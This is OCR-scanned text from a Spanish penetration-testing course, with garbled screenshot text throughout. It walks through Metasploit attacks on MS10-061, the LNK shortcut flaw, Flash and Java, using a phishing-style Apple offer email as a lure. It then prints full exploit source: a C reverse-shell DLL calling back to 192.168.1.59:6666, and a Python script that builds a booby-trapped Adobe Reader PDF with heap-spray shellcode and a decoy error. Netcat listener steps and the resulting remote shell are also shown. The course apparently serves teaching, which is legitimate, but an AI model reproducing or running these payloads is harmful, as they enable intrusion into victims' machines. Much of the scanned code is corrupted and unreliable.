B Carpetas lacales | archive Edidén Yer Herramientas Mensale  Ayuda ‘ o za12/21
{45 Bandeia de entrada = = 21/05(21
+.G28 Bandeja de salida S“ ﬂ" wg L x Z1}05(21
2 Elementas srviados | PResponder Responde...  Reenwiar Imprimir Eliminar. 21/05/2
-{# Elementos eliminados (3) De: ofertas@applestors, com 15/04/21
-G8} Borrador Fecha:  miéreoles, 29 de diciembre de 2010 10:08 L5f4/2
Para: berna@hotmail com g:fg?'g'
Asunto; Oferta — 28;03;2:
T L e anple him (463 bytes) palLale s auane, _'j
el (| »
Dy &
At
Contactas ~ %]

Mo hay contactos que mostrar, Haga clic en
Contactos para crear Un contacko nuevo,

|40 mensajes, 0 noleidos @ Con conexidn | e

& lnicinl %) Bandeja de entrada- Ou,.. | (5 Oferta | « ) O 1032
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www.apple.es - Microsoft Internet Explorer

Archiva  Edicidn  Wer Favoritos  Herramientas  Ayuda | l:’

g * ‘ﬂ i?’j ‘/ Favaritos 6-“ ‘ W= ﬂ %

Direccion |@ Ct\Documents and SettingsiAdministradorConfiguracidn locallArchivos temporales de Intarnatl,Content.IES\EXANOPZR\app\e.hIﬂ g Ir | Yinculos >*

! Blsqueda

iPad

4]

- — = B
'g:] Descarganda desde el sitio: file:f /< \Documents and SettingsiAdministradoriConfiguracion local\Archivos tam|!_ | ‘ | |

@& Iniciol .;;] EBandeja de entrada - Ou, .. | =) Oferta | @ www.apple.es - Micro... E ‘ &« a]ﬂ © 1m:3z |

Y al pulsar en enlace nos devolvera la consolaetenpreter

0
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Microsoft spoolss

En el siguiente ejemplo usaremos una vulnerabiletadn error en la validacion
de los permisos de acceso en la cola de impresodn|o cual el exploit seleccionado
enviara una solicitud de impresion manipulada dosesvicio de RPC ejecutando
codigo arbitrario.

Si miramos las alertas del centro nacional deiggetiawww.ccn-cert.cni.es
podemos encontrar la vulnerabilidad y su descripcMicrosoft la codifica con el
namero ms10-061, que en este caso es por dondarbosxs en metasploit el exploit
afectado

/= Boletines de Vulnerabilidades - Windows Internet Explorer

€3~ [ rexmssfiwmn conesert.co ssimdex. phetapton=con g d=g6el BRI -

Archiva  Edidén  Ver Favoritos  Herramientas  Ayuds

s & [IEBoletines de vuinerabiidsdes I ‘ Eii - B - & - [ Pagne = £ Heramisnt

BOLETINES DE VULNERABILIDADES

Eecucitn remota de codigo en o servicio Print Spooler de Microsoft

Clasificacién de la vulnerabilidad

Informacién sobre el sistema

Curso ondine R
ia } Gifnone et

SISTEMA MULTIANTIVIRUS

El

@ Internet ®100% -

#nicio| T | @ A Hén... j wsvor () @ @ © @ |« @ s JBED 10

Ejecutamos $earch ms10-061

an Vulnerability

Configuraremos las opciones correspondientes yigeEmos el exploit que en
este caso no hay que hacer uso de ningun tipo gimigria inversa ya que es una
conexion directa.

o. Pé.gl46
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Ejecucion de codigo en Windows Shell

Se ha descubierto una vulnerabilidad en Windowdl 8heMicrosoft Windows
XP SP3, Server 2003 SP2, Vista SP1y SP2, Serd& 3P2 y R2 y Windows 7. La
vulnerabilidad reside en un error en la forma ea \YWindows Explorer muestra un

icono de acceso directo.

Un atacante podria ejecutar codigo arbitrario median fichero .LNK o .PIF

especialmente manipulado.

La informacion la hemos obtenido dip://ccn-cert.cni.een la seccién de alertas

ines de Vulnerabilidades - Windows Internet Explorer

[
m' | CIE hitps: s, cen-cert cni.esfindexx.ph om_vulnerabiidadesskask d Jang=es

[ 2] %] [sea= =

mrchiva  Edicién wer Favoritos  Herramientas  Ayuda

9% &% [IE boletines de unersbiidades

3~ ) - @ + 5k Pagina » ) Herramientas =

| Becucién de cdigo en Windows Shell

Clasificacion de la vulnerabilidad
B0 ETINES RESTRINGITOS (3] i

Volver

Riesgo
Nive! de Confianza
impacto
| Difcutad
| Reguenmiertos del atzcante

ESTADISTICAS

Informacién sobre el sistema

Plataforma afectada

Software afectado

SISTEMA MULTIANTIVIRUS

Descripcién

Se ha descublerta una ulnerabilidad en Windows Shel en MicrosoR Windaws %P SP3, Server
| MAV Ty’ W L5 vulerabiidad reside =n un eror & Ja forma en que Windows Bxplorer musstr ur icono

Un atacante podria giecutar codigo arbitrario mediante un fichero LK o PIF especiaimente manipulado

MENCIONES Solucion

Actuzlizacion de software

Microscft (2286198)
Actuzimente no exste ninglin parche dispenible.

deshabilitar el servicio WebClisrit

2003 SP2, Vista SP1y SP2, Server 2008 SP2y R2y Windows 7.
ceso directo

Sin embargo las siguientes acciones ayudan a bloguear alguncs métodos de ataque conocides: Deshabiltar la- visualizacion de iconos para sccesos directos. y

Wirranft IST0T45) =

[Listo [T [ [@mtermet [&wow ~
Hmicio| b | 42| Bo [[Er. 226 Hwen 0@ OO

H |« srEm 0 0keons na

pero podemos comprobarlo también en el siguienseen
http://www.securityfocus.coran search all vulnerabilites, realizaremos la bédq por
sistema operativo y el codigo cve que nos propoecla info de metasploit.

0
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/2 SecurityFocus - Windows Internet Explorer BEE

(€]

v [ et e securtyfocus. comjvuineratilties

.+ Pagina = {J Herramientas =

w ;,31-

& SecurityFocus

< SecurityFocus *

Symantec Connect
A technical community for Symantec custos

Join the ¢

Vulnerabilities

SelectVendor
Title: Select Title =
Version: SelectVersion x

Search by CVE

Vendor:

CVE:

12010-2568 i
Submit !

Apache Subversion Server Componen!

http:/ v.securityfocus.com/bid/45655

Microsoft Windows 'CreateSizedDIBSECTION()' Thumbnail View Stack Buffer Overflow Vulnerability

http://v securityfocus.com/bid/45662

Linux Kernel ‘net/' Subsystem Socket Filter CVE-2010-4161 Local Information Disclosure Vulnerability

http:/ securityfocus.com/bid/45064

Xen 'blkback/blktap/netback' Leaked Kernel Thread Local Denial Of Service Vulnerability _]

o -

PO

Internek

Fimnicio| | b, B2 Bp Es. | D2E ﬂMS\/DM

En securityfocus publican los exploit que hayardsgbara las pruebas de concepto.

Microsoft Windows Shortcut ‘LHK; < Automnatic File Exec

~ [& hetpisfummr. securityfocus. combid 41732 exploit =1 [*][x

frchiva  Edicién  ver Favoritos  Herramientas  Ayuda

i + [-b Pagina - {F Herramientas -

About » Contact

Symantec Connect
A technical community for Symantec custol

info || discussion exploit solution || references

Microsoft Windows Shortcut 'LNK/PIF' Files Automatic File Execution Vulnerability

To exploit this issue, an attacker must entice an unsuspecting user to view an icon of a maliciously crafted shortcut file.
This issue is being exploited in the wild with W32.Stuxnet (previously known as W32.Temphid)

Immunity has released the following exploit to members of the Immunity Partners program:
https://www.immunityinc.com/downloads/immpartners/winshell_Ink.tar.gz

The following exploits are available:

Inerabilities/exploits/41732.rar
» /data/vulnerabilities/exploits/41732.rb

Inicio| Tk G2v-| Br. || @wm. D2E j won D000 E3

Y también en el siguiente enlalcgp://www.exploit-db.com

0
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/2 Microsoft Windows Automatic LHK Shorteut File Code Execution - Windows Internet Explorer

—
@j + BBt v explait-db.com/explois/ 14403 ] [#2][ %] [sona= Pl

mrchiva  Edicién wer Favoritos  Herramientas  Ayuda

»

W% & EBicrosoft Windows Automatic LNK Shortcu File Cods .. 3 - B - &=+ 5 Pagina - ) Herramientas -

Microsoft Windows Automatic LNK Shortcut File Code Execution

Free C# code generator www.irsnspesd.com
Create database & reporting apps straight from
your database! Try it

EDB-ID: 14403 CVE: 2010-2568 QSVDB-ID: 66387 |Rating ra— Security+ Training Videos wew cstruggets com/Securit
| o s Get certified & get a better job 11 hours Security+
Author: Tvanlef0u  Published: 2010-07-18 Verified: ¥ loverslt © C € € € ) training - $299
Exploit Code Vulnerable App: N/A = Patch Management Software i1 nasie.com
L = Support any network device anywhere Try N-
central® Free Now!

| Previous Exploit | |_Home Next Exploit |

Stop Top 10 DB hacks www.imperva com/database_thies
Defend against top 10 common hacks Download
free Whitepaper today! =

s vy Google

: : i i ?p=

From: http://www.ivanleféu.tuxfamily.org/?p=411 P a8e
1. Unzip the files in 'C: \'. Start a DbgView or paste a KD to your WM.

2. Rename ‘suckme.lnk " to 'suckme.lnk’ and let the magic do the rest of shell32.dll.

3. Look at your logs.

http://ivanlefeu.nibbles.fr/repo/suckme. rar
http://www.exploit-db.com/sploits/suckme. rar

Tested under XP SP3.

kd> g

Breakpoint 1 hit

2ax=-68068801 ebx=88f5eelc ecx-0800CH66 edx-009280063 esi-088LE8O1 edi-7c8Babesd

eip=7ca78712 esp=86f5edcd ebp=eefSecld iopl=8 nv up ei pl nz na po nc

Cs=801b s55-8023 ds=0823 es-0023 fs-003b gs-6000 efl-goee0202

SHELL32! LoadCPLModule+Bx18d:

eelb:7ca78712 ff15a0159d7¢ call dword ptr [SHELL32! imp_ LoadlLibraryW (7c9d15a8)] ds:ee23:7c9d15ae={kernel32!LoadLibraryl (7c8@aeeb)}

kd> dd esp -
T e e e | ;l_l

[1i2] Lista pero con errores en la pagina. T [ @ mtemnet [®oww -

& nicio| “ilh S20r| Bo. || @m. 2 j wvon @0 @ O @ H «B2srjEn- 108 9m Yy =4

Cuando ya hemos recopilado la informacion positdgydandonos de
metasploit vamos a acceder al sistema.

El exploit se arma mediante la técnica de broweule crearemos un servidor
web que entregard el exploit cuando la victimalpénel enlace, el cual sera enviado por
los medios posibles y que no llamen mucho la abenci

Los valores a configurar son los siguientes:

Set srvhost 192.168.1.59

Set srvport 90

Set uripath “estrenos”

Set payload Windows/meterpreter/reverse_tcp
Set Ihost 192.168.1.59

Y ejecutamos el expoit

o. Pégl49
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none

1t running a
1t
handler on

i
nding dir

192,16
OPFIND v

Podéis comprobar que metasploit nos ha devuelteoamsola meterpreter.

o Pag150
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’ sug¥ en 192.168.1.59 - Microsoft Internet Explorer _.._Lﬂﬁ
frchivo  Edicion  Yer Favortos  Herramisntas  Avuda | &
e.ﬂtré{s"* @ - Lj} psasqued'a || Carpatas ‘,

Direccion |5 11192.168.1.5%ksugy B3 | vincuos »

T T e G %y aKEpEF
Ta.reﬂ_s_d,_ii‘-'il‘_c:hjm._\!'cﬁ'f]}!?ta_ ¢ % Acceso directo % NDVMRSHEry . dil
m LEEB

:? Crear nueva carpeta
e Publicar esta carpeta en Wweb

Dtros sitios =
W 192.168.1.59

|E:‘| Mis documentos

I5) Documentos compartidas

a Mi PC

W) Mis sitios de red

Detalles e

Q}':_nii:'_ial |2 sug¥en 192.168.1.50 .. E

o. Péngl
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Adobe flashplayer

En esta ocasion el protagonista es adobe en ssoaidvile 29 de junio de 2010
nos informa de una vulnerabilidad en la versiédebe Flash Player 10.0.45.2 en el
siguiente enlace ,

http://www.adobe.com/support/security/advisories/apal0-01.html

2 adobe - Security Advisories: Security Advisory for Flash Player, Adobe Reader and Acrobat - Windows Internet Explorer

adobe, com/supportfsecurity fadvisories/apsal0-01. html _:! 44| % I':‘.'l{“&‘ P

Archivo  Edicidn  Ver Favoritos  Heramientas  Ayuda

o B 5 »
W W ﬂ Adobie - Security Advisories: Security Advisory For Fla,.. J 1 Gj ) - ® » 5rPégna » { Hearientas

B

Security bulletin

Security Advisory for Flash Player, Adobe Reader and Acrobat

Release date: Juns 4, 2010

Last updated: June 29, 2010

Vulnerability identifier: APSA10-01

CVE number: CVE-2010-1297

Platform: All

SUMMARY

A critical vuinerability exists in Adobe Flash Player 10.0.45.2 and earlier versions for Windows, Macintosh, Linux and Solaris
operating systems, and the authplay.dll companent that ships with Adobe Reader and Acrobat 9.x for Windows, Macintosh
and UNIX operating systems. This vulnerability (CVE-2010-1297) could cause a crash and potentially allow an attacker to take

control of the affected system. There are reparts that this vulnerability is being actively exploited in the wild against bath
Adobe Flash Player, and Adobe Reader and Acrobat

Adabe has released a product update to Adobe Flash Player ta resolve the relevant security issue. For mare information
please refer to Secunty Bulletin APSB10-14.

Adobe has released product updates to Adabe Reader and Acrobat to resolve the relevant security issue. For mare
information, please refer to Security Bulletin APSB10-15.

Please note that the Acrobat and Reader update represents an accelerated release of the next quarterly security update
originally scheduled for July 13, 2010. With this accelerated scheduled we do not plan to release any new updates for Adobe
Reader and Acrabat on July 13, 2010

AFFECTED SOFTVIARE VERSIONS 5
i [TTTTT @ ET
i nicio| | ., :I Wi 000 0 0 B [«® 42 d880%

Metasploit también nos informa de la vulnerabilidad

o. Pég].52
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Flash P1ay "newfunction" Inv

cription:
This v

Jr id
imilar DEP

Con lo cual ya podemos aprovechar la vulnerabilighdistema es el mismo del
caso anterior por browser, en este caso utilizangayload diferente para variar un
poco, y que nos mostrard un inocente mensaje te tex

g connections
that uld be used

The URI to use for this exploit {default is random)

load options (wir

Name Curr

or QUESTI

Vamos a conectarnos desde la victima y veremassaltado.

O Pag153
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-é http:/ /www.aeat.es/ - Microsoft Internet Explorer i | Qlﬁ
Archive Edicion  Ita  Favartos  fAsuds | aa"
@Atr&s - @ v D @ _{h | pBL’lsquEda *Fav’oritos' @| L.—-"?y ; E |:7| ﬁ :‘1

Q]Ei'é.c"frén-r@http:,l',l'www.aeat.es,l' j = s |'5|'IncLﬂ05 &

BEH &S e eeex g e -

|2
Atencion mensaje importante ._1[
Has sido yulrerada

[E]Hecho [ [ [ [ |zonadesconocd:

m‘[_niii_iﬁl @'Http!)',l_ﬁu@w_.éga't-._ésf,l' - M... |I&'J'\tenc]'on mensaje im...

o. Pé9154
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Java arginject

Para mostraros que no basta con securizar el sigiperativo sino que igual se
importante tener el software actualizado os maestaovulnerabilidad de java.

En esta ocasion accederemos a la base de datostréeony don de esta
clasificada la vulnerabilidadhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=20886

VE - CVE-2010-0886 (under review) - Windows Internet Explorer

|4 hetpisfeve.mitre. orgjegi-binjcvename. caiiname=2010-0885 EEES e
Archivo  Edicidn  Wer  Favoritos  Herramientas  Ayuda

T tdobs - Security Advisories:... | & CVE - CVE-2010-0886 (u... X &gina ~ { Herramientas -

CVE LIST COMPATIBLE PRODUCTS NEWS — JANUARY 3, 2011 SEARCH

FP.—\ /] Common Vulnerabilities and Exposures
6% The Standard for Ir ecurity Vulnerability Nomes
e W

CVE-2010-0886 Learn miore at National Vulnerability Database (NVD)
(GRaer TeRew) verity Rating » Fix Information « Vulnerable Software Versions = SCAP Mappings
Sea D Unspecified vulnerability in the Java Deployment Toolkit component in Oracle Java SE and Java for Business JDK and JRE 6 Update RRETLIEY
CVE In Use 10 through 19 allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors
Editorial Policies
About CVE Identifiers
sempletes ITEMS OF INTEREST | _|
.
.
.
" + APPLE:APPLE-SA-2010-05-18-1
« URL:http:/li ecurity-annou
+ APPLE:APPLE-SA-2010-05-18-2
« URL:http://l rchi Irity-announc: May/msal
+ SUNALERT:279590
« URL:http://sunsolve:sun.com/search/document.do?assetkey=1-66-279590-1
+ SUNALERT:1022294
. .sun.com/search/document.do?asseticey=1 1-1
.
= URL:hth ia.com/advisaries/398 =
3 & mesrmer H100% ~
#omicio| [ @ c.. Hwem @ 0@ 00 B «B s i @ED o2

Usaremos metasploit para que no devuelva una s€s®remota:

11y t
echnique ead, p none
add
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Como se muestra en la imagen, el exploit nos degualconsola vnc.

I CursCASTVERSIONrev3.dos - Microsoft Word BEER
scribauna - X

Archivo  Edicién  Yer Insertar Formato  Heramientas Tebla Yentana T = requnte

DEEHRI 4QIVE @9~ B & windowsipsps - Microsoft Virtual PC 2007 HEE
A4 Normal + Justifi + TimesNewRoman + 12 + N & §
=& x|

L E
Archivo  Edicién  Ver  Favorkos  Herramientas  Ayuda e
anas - - ﬂ @ _||/"Busqueda .
Direccion [ @] https fjwww. seat es/rTiHImvIRYCZxalS. shirl | Er |wncu|us 2E

Please wat...

Archivo  Edicidn  Ver Favorikos  Herramientas  Ayuda

@Atvés > gd \i] @ ;,|/"Busaueda

Direccidn lﬁ] ks i, azat es/rviTiHIW VKR Y cZxalS sheml

Please weait

2

DLL mu

-

[ e

Dibujar v k¢ | Autof

Pag, 106  Sec. 1

& inicial | %71 b, 2| Bp. | Ci2e-| Hc.. j msvom @ O @ @

«B @D o

s Pag156
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Ataque manual vs Herramientas automaticas

El método tradicional anteriormente usado ha sidorear o aprovechar un
exploit generalmente escrito en lenguaje C i qeetaba a cierta vulnerabilidad en un
sistema,

Aprovecharlo para acceder a este i ganar privikegara obtener control total.

A veces la tarea era ardua complicada i lenta,érogia existen herramientas
que facilitan el trabajo.

Empezaremos con mostraros como aprovechar un eyjaoch acceder a un
equipo, sin de momento usar metasploit, para pool@parar y ver la potencia de la
herramienta

La vulnerabilidad que vamos a explotar afecta &lvswe adobe reader en sus
versiones 8.1.2 y 9.0, y fue publicada el 18 dezmate 2009 y afecta todas las
plataformas.

Conocida como adobe geticon esta vulnerabilidadvegha el desbordamiento
de buffer en la pila al no controlar los argumenmjos se pasan al método “geticon”

Rebuscando, encuentro el payload que inyecta uak gmota al sistema
infectado junto con el exploit hecho en pyton ehlcimyecta el payload en un pdf
utilizando una tecnica conocida como “heap Spgiyin

El payload llamado evil_payload.c genera un sogket abrird la conexién a la
ip y puerto que informemos.

[* evil_payload.c, reverse remote shell as a DLL

* HOWTO compile with MSVC++:

* ¢l /LD evil_payload.c

* [Coromputer] raised from the ashes.

* 23/06/2009 - Created by Ivan Rodriguez Almuinakfalor).All rights reserved.
*/

#include <winsock2.h>
#include <windows.h>

#pragma comment(lib, "ws2_32")
#pragma comment(lib, "user32")

#define HOST "192.168.1.59"
#define PORT 6666
#define COMMAND "cmd"

void payload(void)

PROCESS_INFORMATION pi;
STARTUPINFO si;

struct sockaddr_in sin;
SOCKET s;

WSADATA wsa;

o. Pég].57
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if(WSAStartup(0x0101, &wsa) !=0) {
return;

}

sin.sin_port = htons(PORT);

sin.sin_family = 0x02;

sin.sin_addr.s_addr = inet_addr(HOST);

if((s = WSASocket(0x02,0x01,0x00,0x00,0x00,0xG8)NVALID_SOCKET) {
return;

}

if((connect(s, (struct sockaddr *) &sin, 0x10)) =-1 X
return;

memset((char*)&si, 0, sizeof(si));
si.cb = 0x44;

si.dwFlags = 0x101;

si.hStdInput = (void *)s;
si.hStdOutput = (void *)s;
si.hStdError = (void *)s;

if(ICreateProcess(0x00, COMMAND, 0x00, 0x00, 0xQDx00, 0x00, \
0x00,&si, &pi)) {
return;

}

CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
closesocket(s);

WSACleanup();
/* TerminateProcess(GetCurrentProcess(), 0xff); #
return;

}

void CustomMessageBox(void)

{
char msg[] = "Adobe Reader could not open the # because it is either "\
"not a supported file type or because the file hmbeen damaged (for "\
"example, it was sent as an email attachment andasn't correctly decoded).";
MessageBox(0, msg, "Adobe Reader", MB_OK | MB_ICQINFORMATION);
return;

}

BOOL APIENTRY DIlIMain(HANDLE hModule,
DWORD ul_reason,
LPVOID IpReserved)

{

intr;
switch (ul_reason)

case DLL_PROCESS_ATTACH:

CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)CustomMessageBox, \
NULL, 0, &r);

payload();
break;

case DLL_THREAD_ATTACH:
break;

case DLL_THREAD_DETACH:
break;

case DLL_PROCESS_DETACH:
break;

}
return TRUE;

Las herramientas necesarias a recopilar son |&esigs:

Evil_payload.c

Om Pé9158
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Evil_pdf.py

#!/usr/bin/env python

#

# *** Acrobat Reader - Collab getlcon universal expoiter ***

# evil_pdf.py, tested on Operating Systems:

# Windows XP SP3 English/French

# Windows 2003 SP2 English

# with Application versions:

# Adobe Reader 9.0.0/8.1.2 English/French

# Test methods:

# Standalone PDF, embedded PDF in Firefox 3.0.13 @&internet Explorer 7
# 24/06/2009 - Created by Ivan Rodriguez Almuina ¢klor). All rights reserved.
# [Coromputer] raised from the ashes.

#

from sys import argv
from struct import pack

_XREF_POS =724
_PDF_TEMPLATE =\
"%%PDF-1.1\n\n1 0 obj\n<<\n /Type /Catalog\n /Outlines 2 0 R\n /Pages 3 0 R\n "\
"/OpenAction 7 0 R\n>>\nendobj\n\n2 0 obj\n<<\n /Type /Outlines\n /Count 0\n>"\
">\nendobj\n\n3 0 obj\n<<\n /Type /Pages\n /Kids [4 R]\n /Count 1\n>>\nendo" \
"bj\n\n4 0 obj\n<<\n /Type /Page\n /Parent 3 0 R\iMediaBox [0 0 612 792]\n "\
"/Contents 5 0 R\n /Resources <<\n /Pe8et [/PDF /Text)\n "\

/Font << /F16 0 R >>\n >>\n>>\ma&lobj\n\n5 0 obj\n<< /Leng" \
"th 98 >>\nstream\nBT /F1 12 Tf 100 700 Td 15 TL E[Coromputer] All yOur OdA" \
"yZ Ar3 BeLOng 2 uS [Coromputer]=-) Tj ET\nendstream\nendobj\n\n6 0 obj\n<<\n"\
" [Type /Font\n /Subtype /Typel\n /Name /F1\n /Bageont /Helvetica\n /Encodin” \
"g /IMacRomanEncoding\n>>\nendobj\n\n7 0 obj\n<<\n Type /Action\n /S /JavaScr" \
"ipt\n /JS (%s)\n>>\nendobj\n\nxrefin0 8\n000000000 65535 f \n0000000010 000" \
"00 n \n0000000098 00000 n \n0000000147 00000 rOE@00208 00000 n \n0O0000" \
"0400 00000 n \n0000000549 00000 N \nOOO00006630000 \ntrailer\n<<\n /Size" \
" 8\n /Root 1 0 R\n>>\nstartxref\n%d\n%%%%EOF\n"

_JS_PAYLOAD =""

var dll_payload = unescape("%s");

var shellcode = unescape("%s");

garbage = unescape("%%u9090%%u9090%%u9090%%u9090%%9090%%u9090%%u9090");

while (garbage.length < 0x100)
garbage += garbage;

garbage += shellcode + dll_payload;
nopblock = unescape("%%u9090%%u9090");
headersize = 16;

acl = headersize + garbage.length;

while (nopblock.length < acl)
nopblock += nopblock;

fillblock = nopblock.substring(0, acl);
block = nopblock.substring(0, nopblock.length - ag|

while(block.length + acl < 0x26000)
block = block + block + fillblock;

memory = new Array();

for (i=0;i<1024;i++)
memory[i] = block + garbage;

var buffer = unescape("%%10%%10%%10%%1f");

while(buffer.length < 0x6000)
buffer += buffer;

app.doc.Collab.getlcon(buffer+'pwn3D.BYkralor');
_XORER =\

"\xeb\x02\xeb\x05\xe8\XFO\XFAXFAXFAX5b\B3\Xxc3\x10\x33\xcO\X66" \
"\xb9" \
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"%s" \
"\x80\x33\x95\x43\xe2\xfa"

_SHELLCODE =\
"\x14\x51\x5d\x95\x95\x95\x1e" \
"\X79\x1e\x61\xc0\xc3\xf1\x34\xa5\x95\x 9B &\x 1e\xd5\x99\x1e\xe5" \
"\x89\x38\x1e\xfd\x9d\x1e\x50\xcb\xc8\x1A8\x7 c\xal\x94\x95\x95" \
"\xcd\xd5\x1c\xd3\x81\x1e\x79\x14\x79\xcBX\x95\x95\x6a\xa3\xfd" \
"\xaB6\x5f\x1f\xce\x7d\x56\x95\x95\x95\x 18B0\x55\x68\x6a\x6a\xc7" \
"\xfd\x95\x94\x95\x95\x6a\x45\x6a\xa3\xfdad\xb7\x39\x72\x7d\x3c" \
"\x95\x95\x95\x18\x00\x5d\x6b\x6a\x6a\xc Tx95\x52\xd0\x6d\xc5" \
"\xc2\xdb\xd1\x18\xc8\x6d\xc6\x18\x18\x5568\x6a\x6a\xc4\x6a\x45" \
"\x6a\xa3\xfd\x30\x82\x95\xe9\x 7 d\x 15\x95%6\x95\xa6\x5c\xc4\xfd" \
"\x15\x95\x95\x95\xfAx97\xc4\xc4\xfd\x9595\x95\x55\x18\x00\x5d" \
"\x6b\x6a\x6a\xc7\x6a\x45\x1c\xd0\x65\x5200\x59\x68\x6a\x6a\xa6" \
"\xe7\x95\x95\x6a\xa3\xfd\x8a\xec\x 9f\x 7 dix\xd8\x95\x95\x 95\xff" \
"\x95\x18\xc8\x69\xcB\xfd" \
"%s" \
"\x7¢c\x0f\Ax95\x95\x95\xcc" \
"\xc4\x1e\xc0\x65\xc7\x6a\x45\x6a\xa3\xfdr\x02\x68\x9a\x7d\xbc" \
"\x95\x95\x95\x1e\xc8\x65\xc6\x6a\x45\x6aRxfd\x 1b\xdb\x9b\x79" \
"\x7d\x82\x95\x95\x95\x 18\x00\x5d\x6b\x6 ha\xc7\x6a\x45\x6a\xa3" \
"\xfd\x7a\x5b\x75\xf5\x7d\x97\x95\x95\x956a\x45\xc6\xcO\xc3\xc2" \
"\x1e\xf9\xb1\x8d\x1e\xd0\xa9\x1e\xc1\x9 @& \x96\x40\x1e\xdf\x8d" \
"\x1e\xcfixb5\x96\x48\x76\xa7\xdc\x1e\xalhr\x96\x60\xa6\x6a\x69" \
"\xa6\x55\x39\xaf\x51\xe 1\x92\x54\x5a\x9B&\x6d\x7e\x67\xae\xe9" \
"\xb1\x81\xe0\x74\x1e\xcfixb1\x96\x48\xf3be\x99\xde\x1e\xcfix89" \
"\x96\x48\x1e\x91\x1e\x96\x50\x7e\x97\xabBix1e\x40\xca\xcb\xc8" \
"\xce\x57\x91\x95\x7d\x52\x6b\x6a\x6a\x7 dx6a\x6a\x6a"

def banner():

print
print'  -=[Crpt] Acrobat Reader - Collab geticon univeral exploiter [Crpt]=-'
print’ created by lvan Rodrigue Almuina aka kralor '
print’ 2009 all rightseserved '
print" Coromputer Coromputer '
print
def syntax():

print 'syntax: %s <out_pdf> <in_dlI>' % argv[0]

def s_conv_hexunicode(s):
hexunicode ="
for i in xrange(O, len(s), 2):
try:
hexunicode +='%%u%02x%02x"' % (ord(s[i+1]), ord(s[i]))
except:
hexunicode += '%%u05%02x" % (ord(s[i]))
break

return hexunicode

def main():
banner()

if len(argv) = 3:
syntax()
return

print '[-] Creating PDF file \'%s\' DLL file \'%s \'...' %\
(argv[1], argv[2])

fp_out = open(argv[1], 'wb')

fp_dIl = open(argv[2], 'rb’)

print '[-] Reading DLL data ...'
dll_data = fp_dIl.read()
fp_dll.close()

print '[-] Preparing payload (javascript+shellcode+dll) ..."

js_code = _JS_PAYLOAD % (s_conv_hexunicode(dIl_da), \
s_conv_hexunicode(_XORER % pack('<H', (len(_SHH.CODE) +\
((len(_SHELLCODE)+len(_XORER)) % 2)+2)) +\
_SHELLCODE % pack('<I', len(dll_data)*0x959595%)))

print '[-] Writing PDF file \'%s\' with payload i nside ..." % argv[1]
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fp_out.write( PDF_TEMPLATE % (js_code, len(js_coe) + _XREF_POS))
fp_out.close()
print '[+] Done, [Coromputer] is alive! alive!'

if _name__=="_main__"

try:
main()

except Keyboardinterrupt:
print ‘ctrl-c, leaving ...'

Python-2.6.2.msi
Vcsetup.exe\isual C++ 2008 express)

Lo primero que haremos sera compilar evil_payloatha vez modificada la ip por
nuestra direccion ip 192.168.1.59

Indicaremos que se conecte por el puerto 6666
Compilamos el exploit

cl /LD evil_payload.c

SWIHDOWS 'system 32WCMD.exe

C :~PRUEBACONCEPT O~ proyecto5~PDFEXPLOIT >dir evil_payload.c
El volumen de la wnidad C no tiene etigqueta.
El nimero de serie del volumen es: 6AR7-E7CY

Directorio de G:~PRUEBAGONCEFTO“provectoS5~PDFERFPLOIT
A1-83-.2010 H@7:19 217 evil_payload.c

1 archivos 2.17% hytes
A dirs 56.207.944.576 hytes lihres

C:~PRUEBACONCEFPT O~ proyectoS~PDFEXPLOIT>c1 LD evil_pavload.c
Microzoft (H) 32-hit C/C++ Optimizing Conmpiler Uersion 12.08_8168 for BHUxBG
Copyright <C) Microsoft Corp 1984-1998_. All rights reserved.

evil _payload.c
Microzoft (R> Incremental Linker Version 6.80.8168
Copyright <C)» Microsoft Corp 1992-1998. All rights reserved.

Fouttevil_payload.dll
/dll

implib:evil _payload.lib
evil payload.obj

C:“PRUEBACONCEFT O provecto5~PDFEXFLOIT >
Compilacién programa en C

Como se ve en la imagen el payload nos crea [@ejtlarada para inyectar en el pdf
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C:WIHDOWS 'systemn32'CMD.exe

—=[Crpt] Acrobhat Reader — Collab getlcon univeral exploiter [Crptl=—
created by Ivan Rodriguez Almuina aka kralor
2087 all 11ghta reserved

PR ptops= ot Ty e R
Coromputer

Coromputer

Creating PDF file ‘verano2@i@.pdf’ DLL file 'evil_payload.dll’
Reading DLL data ...

Preparing payluad (javascript+shellcode+dll> ..
Writing PDF file ‘verano2@8iB.pdf’ with payload 1nd1de .-
Done. [Coromputerl] iz alive! alive?

:“PRUEBACONCEPTO~proyecto5~PDFEAPLOIT >

Ejecucion exploit evil_pdf.py

Lo siguiente sera ejecutar el exploit
Evil_pdf.py verano2010.pdf evil_payload.dll
El exploit nos inyectard la dll evil_payload.dll e@rano2010.pdf

En este punto ya tenemos el pdf preparado pararselo a la victima para su
ejecucion, antes pero debemos dejar a la escuchal poerto 6666 a nuestro equipo,
esto podemos realizarlo con nectat o crypcat.
Su uso es muy simple ejecutanmas-vvip 6666

DOWS 'systemn32.wmd.exe - nc -vvlp 6666

ft Windows HP [Uersion 5.1.268@1]
(C) Cnpyllght 19852801 Microsoft Corp.

C=“Documents and Settings“Administrador>cd ™~

C:srod COPIAUSE

C:\COPIAUSBE>nc —wvlp GGGG
listening on [anyl 6666 ...

Puesta en escucha de netcat
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Ahora explotaremos el exploit con nuestra maquirtaai

& Inicio « W zmie

Fichero generado con el exploit incrustado

Una vez ejecutado el exploit al cliente le sale emar provocado para despistar

L

Mis documentos

.

Adobe Reader
- Adobe Reader could not open the Ffile because it is either nat a supported File bype or

1 because the file has been damaged (for example, it was sent as an email attachment
and wasn't correctly decoded),

4 micio| [ Adobe Reader « ¥ 23:15

Mensaje de distraccion

Pero en nuestra consola ha pasado lo siguiente:
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cv CIWIHDOWS 'systemn32icmd.exe - nc -vvlp 6666

listening on [anyl 6666 ...

connect to [192.168.1.5%21 from UICTIMA [192_.168.1.801 1836
Microsoft Windows XP [Uersidn 5.1.260801

(C» Copyright 1985%-208081 Microsoft Corp.

IC:~Documents and Settings“~Admninistrador~Escritorioripconfig
ipconfig

Configuraci¥sn IP de YWindows

Adaptador Ethernet Conexi¥#n de Brea local

Sufijo de conexi¥n espec?fica DNS :
Direcci¥n - 192.168.1.88
MBscara de subred - 255.255.255.8
Puerta de enlace predeterminada H

IC:~Documents and Settings“Administrador~Escritorior_

Conexion remoto realizada con exito

Como podeis ver nos ha devuelto una consola eruda modemos ejecutar
ordenes remotas

